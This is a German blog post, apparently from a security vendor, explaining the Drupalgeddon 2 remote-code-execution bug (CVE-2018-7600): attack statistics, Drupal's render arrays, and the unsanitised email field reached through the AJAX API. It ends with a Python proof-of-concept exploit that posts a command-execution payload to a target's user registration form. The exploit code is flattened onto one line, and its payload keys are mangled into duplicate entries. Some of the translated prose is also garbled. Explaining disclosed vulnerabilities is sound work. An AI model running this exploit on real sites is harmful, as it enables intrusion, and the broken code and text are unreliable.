Drupalgeddon 2 RCE – SecPod Blog

Mehr als eine Million aktive Websites verwenden Drupal, Damit ist es nach WordPress das weltweit am zweithäufigsten verwendete Content-Management-System. Am 28. März 2018 veröffentlichte Drupal Sicherheitspatches für die Versionen 6 bis 8, die eine sofortige Aktualisierung vorschlagen und die zugrunde liegende Sicherheitsanfälligkeit (CVE-2018-7600) als kritisch für die Remotecodeausführung kennzeichnen. Das Scannen und die Angriffe auf Websites, die Drupal verwenden, nahmen wie erwartet exponentiell zu, es gab jedoch keine Berichte darüber, dass die Sicherheitsanfälligkeit in freier Wildbahn ausgenutzt wurde. Dann vor ein paar Tagen ein russischer Sicherheitsforscher veröffentlichte einen Proof-of-Concept (POC) Exploit-Code auf GitHub und Internet ging Berserker.

Exploitation angehäuft und Angreifer begannen damit, Kryptowährungs-Miner und Malware-Backdoors zu installieren. Es wird angenommen, dass eine der Monero Miner Kampagnen, die XMRig geliefert, während die Sicherheitsanfälligkeit ausnutzen (CVE-2017-10271) in Oracle WebLogic Servern beteiligt ist.

Laut Statistik sind 90% der Drupalgeddon 2-Angriffe nichts anderes als Scans, um anfällige Systeme zu finden, 3% sind Backdoor-Infektionsversuche und 2% versuchen, Krypto-Miner zu betreiben.

Drupal warnte in seinem Advisory „Websites, die bis Mittwoch, 2018-04-11, nicht gepatcht wurden, können kompromittiert sein“ und „Durch einfaches Aktualisieren von Drupal werden keine Hintertüren entfernt oder kompromittierte Websites repariert. Wenn Sie feststellen, dass Ihre Website bereits gepatcht ist, Sie dies jedoch nicht getan haben, kann dies ein Symptom dafür sein, dass die Website kompromittiert wurde. Einige Angriffe in der Vergangenheit haben den Patch angewendet, um sicherzustellen, dass nur dieser Angreifer die Kontrolle über die Site hat.“

Fachjargon

Drupal hat in Drupal 6 seine Formular-API eingeführt, die eine Änderung der Formulardaten während des Formularwiedergabeprozesses ermöglichte. Dies revolutionierte die Funktionsweise der Markup-Verarbeitung. In Drupal 7 wurde die Formular-API auf das verallgemeinert, was heute als „Renderable Arrays“ bekannt ist. Diese erweiterte API wird verwendet, um die Struktur der meisten UI-Elemente in Drupal darzustellen, z. B. Seiten, Blöcke, Knoten und mehr. Renderbare Arrays enthalten Metadaten, die beim Rendern verwendet werden. Diese renderbaren Arrays sind eine Schlüssel-Wert-Struktur, in der die Eigenschaftsschlüssel mit einem Hash-Zeichen (#) beginnen. Ein Beispiel:

Drupal hat einen Patch veröffentlicht, der nur eine einzelne Klasse RequestSanitizer mit einer stripDangerousValues Methode stripDangerousValues , die alle Elemente in einem Eingabearray für Schlüssel, die mit einem Hash-Zeichen beginnen, stripDangerousValues . Diese Methode bereinigt Eingabedaten in $_GET, $ _POST & $_COOKIES während der sehr frühen Phasen von Drupals Bootstrap (unmittelbar nach dem Laden der Site-Konfigurationen). Es kann davon ausgegangen werden, dass der Grund, warum der Patch veröffentlicht wurde, darin besteht, eine vorhandene Sicherheitsanfälligkeit schwerer zu finden.

Die Sicherheitsanfälligkeit wurde in den Formularen gefunden. Das Benutzerregistrierungsformular, das keine Authentifizierung erfordert und anonym abgerufen werden kann, enthält mehrere Eingabefelder und kann ausgenutzt werden.

Bildquelle: Checkpoint, Dofinity

Es war sehr wahrscheinlich, dass das Injizieren eines renderbaren Arrays die Sicherheitsanfälligkeit ausnutzen würde, die Frage war wo?

Wie sich herausstellt, bereinigt das Feld „E-Mail-Adresse“ nicht die Art der empfangenen Eingabe, wodurch wir das renderbare Array in die Formulararraystruktur einfügen konnten.

Bildquelle: Checkpoint, Dofinity

Jetzt brauchten wir nur noch Drupal, um unser injiziertes Array zu rendern. Da Drupal unser injiziertes Array als Wert und nicht als Element behandelt, mussten wir Drupal dazu bringen, es zu rendern. Drupal rendert ein Array beim Laden der Seite oder über die Drupal AJAX API.

Das Feld „Bild“ des Benutzerregistrierungsformulars verwendet die AJAX-API von Drupal, um ein Bild hochzuladen und es durch eine Miniaturansicht des hochgeladenen Bildes zu ersetzen.

Konzeptnachweis (POC)

#!/usr/bin/env python3import sysimport requestsprint ('################################################################')print ('# Proof-Of-Concept for CVE-2018-7600')print ('# by Vitalii Rudnykh')print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')print ('# https://github.com/a2u/CVE-2018-7600')print ('################################################################')print ('Provided only for educational or information purposes\n')target = input('Enter target url (example: https://domain.ltd/): ')# Add proxy support (eg. BURP to analyze HTTP(s) traffic)# set verify = False if your proxy certificate is self signed# remember to set proxies both for http and https# # example:# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}# verify = Falseproxies = {}verify = Trueurl = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail': 'exec', 'mail': 'markup', 'mail': 'echo ";-)" | tee hello.txt'}r = requests.post(url, proxies=proxies, data=payload, verify=verify)check = requests.get(target + 'hello.txt', verify=verify)if check.status_code != 200: sys.exit("Not exploitable")print ('\nCheck: '+target+'hello.txt')

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht.

Related Posts